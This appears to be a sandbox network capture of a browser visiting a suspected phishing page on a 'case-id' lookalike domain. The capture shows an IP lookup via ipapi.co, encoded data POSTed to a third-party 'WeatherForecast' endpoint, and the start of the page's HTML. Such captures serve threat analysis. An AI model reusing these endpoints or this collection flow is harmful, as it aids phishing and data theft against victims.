CF-RAY: 9202a0924fad4388-EWR server-timing: cfL4;desc="?proto=TCP&rtt=3703&min_rtt=1570&rtt_var=4705&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2789&recv_bytes=1134&delivery_rate=1782661&cwnd=220&unsent_bytes=0&cid=bb3f09ff33f85bf3&ts=387&x=0"
2025-03-14 09:08:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49749	172.67.69.226	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:34 UTC	635	OUT	GET /ip HTTP/1.1 Host: ipapi.co Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/json sec-ch-ua-mobile: ?0 Origin: https://case-id-1000228259003.counselschambers.co.uk Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:35 UTC	1005	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:35 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 12 Connection: close Allow: POST, GET, HEAD, OPTIONS, OPTIONS X-Frame-Options: DENY Vary: Host, origin access-control-allow-origin: https://case-id-1000228259003.counselschambers.co.uk X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gC4H9hu2Bvc6SjRvaLMNnt%2BaEVnnR4smErgvZMGHPXyisbHZY%2Bl7ZMWhTO5mLFjWfIhWRZ0nagzUBXsA9LVLsrAWDJALc6dCpwCXuLoVi4PVuXFkYqvTl2PU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9202a096bffe5e68-EWR server-timing: cfL4;desc="?proto=TCP&rtt=3281&min_rtt=1571&rtt_var=4010&sent=3&recv=6&lost=0&retrans=0&sent_bytes=139&recv_bytes=1169&delivery_rate=95700&cwnd=197&unsent_bytes=0&cid=0a3e85d202ef2e9d&ts=234&x=0"
2025-03-14 09:08:35 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49751	104.26.9.44	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:35 UTC	374	OUT	GET /ip HTTP/1.1 Host: ipapi.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:35 UTC	930	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:35 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 12 Connection: close Allow: OPTIONS, POST, OPTIONS, HEAD, GET X-Frame-Options: DENY Vary: Host, origin X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rjt5MBiFbc4kAoI2tv7Vq1fgF6FdQ0yGIu1P4XFVgWE%2Bzsvcith9Z8Lkohlq2UB%2F90ID9N%2BIIc7ITsbJUctpElg1dewKZ3Xd7aiuV7og91%2F1%2FYrmPhB4mrsG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9202a09b8c600f89-EWR server-timing: cfL4;desc="?proto=TCP&rtt=3292&min_rtt=1594&rtt_var=3841&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2789&recv_bytes=950&delivery_rate=1781574&cwnd=238&unsent_bytes=0&cid=5c98c29776d928ff&ts=286&x=0"
2025-03-14 09:08:35 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49752	104.21.64.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:38 UTC	583	OUT	OPTIONS /WeatherForecast HTTP/1.1 Host: pickoutsourcing.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://case-id-1000228259003.counselschambers.co.uk User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:38 UTC	865	IN	HTTP/1.1 204 No Content Date: Fri, 14 Mar 2025 09:08:38 GMT Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Headers: content-type Access-Control-Allow-Methods: POST X-Powered-By: ASP.NET cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8mfg6sMfZlM6ar4ofw1%2FB6ddzuT51Gn3hIEsOfHwh%2FwtAQdzHesUR%2FZWgzyq7nRWyYj3ZdSn1MWrjTsUFBsor0HdYW7tQWjWVlUY4V2x1LF4SX6j9XPvZuWfT3ojtCoyUulEqJpX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9202a0aa8a40efa5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2009&min_rtt=1989&rtt_var=786&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1155&delivery_rate=1357508&cwnd=181&unsent_bytes=0&cid=32e9df6e70d31af8&ts=433&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49753	104.21.64.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:38 UTC	738	OUT	POST /WeatherForecast HTTP/1.1 Host: pickoutsourcing.com Connection: keep-alive Content-Length: 55 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/json; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://case-id-1000228259003.counselschambers.co.uk Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:38 UTC	55	OUT	Data Raw: 7b 22 64 61 74 61 22 3a 22 35 51 62 38 7a 52 38 6e 66 41 6e 43 4b 75 41 68 4a 6c 45 75 66 2f 6f 70 4f 7a 72 70 55 4c 44 6f 6d 2b 4f 4a 51 2f 63 70 55 73 41 3d 22 7d Data Ascii: {"data":"5Qb8zR8nfAnCKuAhJlEuf/opOzrpULDom+OJQ/cpUsA="}
2025-03-14 09:08:39 UTC	881	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:39 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * X-Powered-By: ASP.NET cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wqXFQH7%2B%2F%2FE1NmnRxc6kJotAonrgZttWTY%2FSL3NR%2FyaYf%2B8jW38MGrjD9lUz4%2FwOu2oSQlvk35RlE74EX4zDaDuFZG1NUJDJ01cc3GAo2xfHOWogJJuvA%2F5utzZPTre16w0a%2BKzS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9202a0b02b22c457-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1637&min_rtt=1634&rtt_var=619&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1387&delivery_rate=1759036&cwnd=252&unsent_bytes=0&cid=011c7993df19deee&ts=432&x=0"
2025-03-14 09:08:39 UTC	13	IN	Data Raw: 38 0d 0a 52 6b 46 4a 54 41 3d 3d 0d 0a Data Ascii: 8RkFJTA==
2025-03-14 09:08:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49754	104.21.16.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:39 UTC	398	OUT	GET /WeatherForecast HTTP/1.1 Host: pickoutsourcing.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:40 UTC	837	IN	HTTP/1.1 400 Bad Request Date: Fri, 14 Mar 2025 09:08:40 GMT Content-Type: application/problem+json; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: ASP.NET cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QOCi1PcM%2F6keB0jh53d%2BExEjRjDyzXZ45XcvpHxYXJaLg3x55x7BYDbxjxeiv9yIqTpxWUynGHRoxWPqb5I70yrcbr%2BC7keiQ5hkmrWxNCwY7FAqPa1YMA5mhZSxh4%2BGVSIMxnTg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9202a0b5ff0af9a9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1627&min_rtt=1618&rtt_var=625&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=970&delivery_rate=1726788&cwnd=94&unsent_bytes=0&cid=7ca92bcf4261d67d&ts=419&x=0"
2025-03-14 09:08:40 UTC	254	IN	Data Raw: 66 38 0d 0a 7b 22 74 79 70 65 22 3a 22 68 74 74 70 73 3a 2f 2f 74 6f 6f 6c 73 2e 69 65 74 66 2e 6f 72 67 2f 68 74 6d 6c 2f 72 66 63 39 31 31 30 23 73 65 63 74 69 6f 6e 2d 31 35 2e 35 2e 31 22 2c 22 74 69 74 6c 65 22 3a 22 4f 6e 65 20 6f 72 20 6d 6f 72 65 20 76 61 6c 69 64 61 74 69 6f 6e 20 65 72 72 6f 72 73 20 6f 63 63 75 72 72 65 64 2e 22 2c 22 73 74 61 74 75 73 22 3a 34 30 30 2c 22 65 72 72 6f 72 73 22 3a 7b 22 77 65 61 74 68 65 72 22 3a 5b 22 54 68 65 20 77 65 61 74 68 65 72 20 66 69 65 6c 64 20 69 73 20 72 65 71 75 69 72 65 64 2e 22 5d 7d 2c 22 74 72 61 63 65 49 64 22 3a 22 30 30 2d 32 64 66 32 31 38 62 66 32 63 65 31 64 38 30 36 33 36 62 35 37 37 63 34 39 65 38 35 65 32 36 30 2d 38 64 33 62 37 63 35 37 37 62 33 37 30 66 66 61 2d 30 30 22 7d 0d 0a Data Ascii: f8{"type":"https://tools.ietf.org/html/rfc9110#section-15.5.1","title":"One or more validation errors occurred.","status":400,"errors":{"weather":["The weather field is required."]},"traceId":"00-2df218bf2ce1d80636b577c49e85e260-8d3b7c577b370ffa-00"}
2025-03-14 09:08:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49755	35.190.80.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:40 UTC	550	OUT	OPTIONS /report/v4?s=QOCi1PcM%2F6keB0jh53d%2BExEjRjDyzXZ45XcvpHxYXJaLg3x55x7BYDbxjxeiv9yIqTpxWUynGHRoxWPqb5I70yrcbr%2BC7keiQ5hkmrWxNCwY7FAqPa1YMA5mhZSxh4%2BGVSIMxnTg HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://pickoutsourcing.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:40 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Fri, 14 Mar 2025 09:08:40 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49756	35.190.80.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:41 UTC	525	OUT	POST /report/v4?s=QOCi1PcM%2F6keB0jh53d%2BExEjRjDyzXZ45XcvpHxYXJaLg3x55x7BYDbxjxeiv9yIqTpxWUynGHRoxWPqb5I70yrcbr%2BC7keiQ5hkmrWxNCwY7FAqPa1YMA5mhZSxh4%2BGVSIMxnTg HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 402 Content-Type: application/reports+json Origin: https://pickoutsourcing.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:41 UTC	402	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 32 32 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 31 36 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 30 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 70 69 63 6b 6f 75 74 73 6f 75 72 63 69 6e 67 2e 63 6f Data Ascii: [{"age":0,"body":{"elapsed_time":922,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.16.1","status_code":400,"type":"http.error"},"type":"network-error","url":"https://pickoutsourcing.co
2025-03-14 09:08:41 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Fri, 14 Mar 2025 09:08:41 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49757	104.21.70.234	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:45 UTC	791	OUT	GET /case-support.html HTTP/1.1 Host: case-id-1000228259003.counselschambers.co.uk Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://case-id-1000228259003.counselschambers.co.uk/help.html Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:46 UTC	881	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 04 Mar 2025 15:39:24 GMT Accept-Ranges: bytes cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pA3euIHe0WGg4yJgQv3n6YUh5JVa%2FqJRvX20W6%2Bgxg4MDD5KqhLqriYF26RLRVl3urSz8di24qMr1opUoZm2PilDtEvubNKrlbWquqnlp8I4MvC0kCa3fu3ULBhFYYu3gQSsnGJz2YUegBGV4zx5IcRNByOAVYz0Lf9TPlL3Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9202a0da692b42dc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1723&min_rtt=1720&rtt_var=651&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2857&recv_bytes=1363&delivery_rate=1674311&cwnd=208&unsent_bytes=0&cid=9b478c5e7154d020&ts=396&x=0"
2025-03-14 09:08:46 UTC	488	IN	Data Raw: 33 37 63 65 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 41 41 41 41 41 77 43 41 59 41 41 41 42 58 41 76 6d 48 41 41 41 47 43 55 6c 45 51 56 52 34 58 75 32 58 65 34 68 55 56 52 7a 48 66 2f 66 4f 7a 4f 36 61 50 52 52 4a 4c 46 54 36 49 36 57 48 59 6c 59 51 68 45 6f 51 5a 41 38 77 71 54 38 4b 69 54 4a 33 33 5a 66 75 77 33 56 58 39 2b 47 34 75 31 71 43 46 Data Ascii: 37ce<html lang="en"><head> <meta charset="UTF-8"> <link rel="icon" type="image/svg+xml" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAGCUlEQVR4Xu2Xe4hUVRzHf/fOzO6aPRRJLFT6I6WHYlYQhEoQZA8wqT8KiTJ33Zfuw3VX9+G4u1qCF
2025-03-14 09:08:46 UTC	1369	IN	Data Raw: 63 38 42 6a 38 44 33 53 4a 38 4a 52 41 53 65 78 4a 52 35 6d 32 67 4f 51 6e 2f 2f 45 54 68 30 53 6f 4a 77 30 74 63 75 62 35 66 6c 4a 37 50 35 6a 41 57 41 74 2b 43 4b 6c 41 42 39 6f 4f 77 45 6c 35 53 35 36 54 6e 67 78 4d 49 6e 41 45 66 51 2b 49 63 51 6b 65 73 77 78 74 51 59 65 74 6e 78 4c 55 35 76 49 52 71 72 30 53 56 51 48 35 65 72 42 61 4c 2b 77 37 77 70 59 55 41 69 43 79 64 55 45 44 4c 62 74 49 68 38 47 4f 43 34 47 33 67 63 64 58 58 6c 64 4f 38 46 61 46 48 5a 58 41 56 64 32 6e 58 56 76 4b 47 32 69 45 68 49 4d 46 77 6b 41 74 67 5a 70 49 64 61 70 38 70 75 4b 51 4e 33 44 4b 42 51 50 4d 72 57 49 51 43 49 6f 78 5a 77 41 63 53 33 68 41 53 43 79 41 51 56 67 55 38 65 54 37 68 4b 66 41 4c 32 68 54 6b 34 4a 4a 65 79 4d 79 6c 4a 41 56 52 46 39 56 47 47 68 51 42 5a Data Ascii: c8Bj8D3SJ8JRASexJR5m2gOQn//ETh0SoJw0tcub5flJ7P5jAWAt+CKlAB9oOwEl5S56TngxMInAEfQ+IcQkeswxtQYetnxLU5vIRqr0SVQH5erBaL+w7wpYUAiCydUEDLbtIh8GOC4G3gcdXXldO8FaFHZXAVd2nXVvKG2iEhIMFwkAtgZpIdap8puKQN3DKBQPMrWIQCIoxZwAcS3hASCyAQVgU8eT7hKfAL2hTk4JJeyMylJAVRF9VGGhQBZ
2025-03-14 09:08:46 UTC	1369	IN	Data Raw: 7a 4b 62 67 4c 65 42 4f 45 50 77 4e 63 35 4b 44 51 50 71 2b 72 41 6e 68 66 45 50 72 36 6e 6a 47 39 34 6e 49 32 6d 61 74 36 36 47 36 30 65 70 64 4a 41 45 53 59 68 59 51 50 47 6b 77 75 4a 67 6a 57 43 76 61 43 58 65 43 50 42 4f 47 44 34 44 35 79 57 41 69 66 69 66 43 2f 6a 62 63 4f 4d 79 37 51 4c 53 43 41 4d 36 6e 76 6c 4c 36 78 2f 77 32 71 47 76 77 51 41 73 4e 6f 49 61 45 49 2b 49 45 6d 5a 7a 63 50 69 42 52 35 69 56 49 73 68 4a 2b 44 32 52 2f 51 6a 4e 6e 6e 39 68 46 55 33 69 4d 46 51 4c 2f 67 4d 77 6f 43 78 67 34 4a 39 4c 68 45 6a 62 6d 76 33 65 43 6e 46 41 52 32 30 6e 55 57 5a 76 34 70 68 49 2b 4f 74 34 39 42 52 57 39 63 6f 47 6f 77 4c 75 41 4e 67 54 44 54 41 6f 6e 4a 36 75 4b 63 42 5a 6f 64 43 4f 77 42 47 71 47 75 58 36 4c 7a 4f 62 52 4f 46 41 67 71 4e 77 Data Ascii: zKbgLeBOEPwNc5KDQPq+rAnhfEPr6njG94nI2mat66G60epdJAESYhYQPGkwuJgjWCvaCXeCPBOGD4D5yWAififC/jbcOMy7QLSCAM6nvlL6x/w2qGvwQAsNoIaEI+IEmZzcPiBR5iVIshJ+D2R/QjNnn9hFU3iMFQL/gMwoCxg4J9LhEjbmv3eCnFAR20nUWZv4phI+Ot49BRW9coGowLuANgTDTAonJ6uKcBZodCOwBGqGuX6LzObROFAgqNw
2025-03-14 09:08:46 UTC	1369	IN	Data Raw: 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 69 6e 74 6c 2d 74 65 6c 2d 69 6e 70 75 74 40 31 37 2e 30 2e 31 39 2f 62 75 69 6c 64 2f 63 73 73 2f 69 6e 74 6c 54 65 6c 49 6e 70 75 74 2e 6d 69 6e 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 54 68 c6 b0 20 76 69 e1 bb 87 6e 20 4a 61 76 61 53 63 72 69 70 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 69 6e 74 6c 2d 74 65 6c 2d 69 6e 70 75 74 40 31 37 2e 30 2e 31 39 2f 62 75 69 6c 64 2f 6a 73 2f 69 6e 74 6c 54 65 6c 49 6e 70 75 74 2e 6d 69 Data Ascii: --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/intl-tel-input@17.0.19/build/css/intlTelInput.min.css"> ... Th vin JavaScript --> <script src="https://cdn.jsdelivr.net/npm/intl-tel-input@17.0.19/build/js/intlTelInput.mi
2025-03-14 09:08:46 UTC	1369	IN	Data Raw: 6c 6f 63 6b 2d 75 69 20 2e 6e 73 2d 62 6c 6f 63 6b 2d 75 69 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6e 73 2d 62 6c 6f 63 6b 2d 75 69 2d 6c 6f 61 64 65 72 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: lock-ui .ns-block-ui-container .ns-block-ui-loader-container { position: absolute; top: 50%; left: 0; right: 0; text-align: center;
2025-03-14 09:08:46 UTC	1369	IN	Data Raw: 78 65 64 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 70 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 74 74 6f 6d 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6e 73 2d 62 6c 6f 63 6b 2d 75 69 2e 62 6c 6f 63 6b 69 6e 67 20 2e 6e 73 2d 62 6c 6f 63 6b 2d 75 69 2d 63 6f 6e 74 61 69 6e 65 72 3a 6e 6f 74 28 2e 66 61 64 65 6f 75 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 Data Ascii: xed; top: 0; right: 0; bottom: 0; left: 0; } .ns-block-ui.blocking .ns-block-ui-container:not(.fadeout) { opacity: 1; }
2025-03-14 09:08:46 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 49 6e 52 54 4c 31 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 32 Data Ascii: opacity: 1; } to { opacity: 0; } } @-webkit-keyframes fadeInRTL1 { 0% { opacity: 0; -webkit-transform: translateX(2
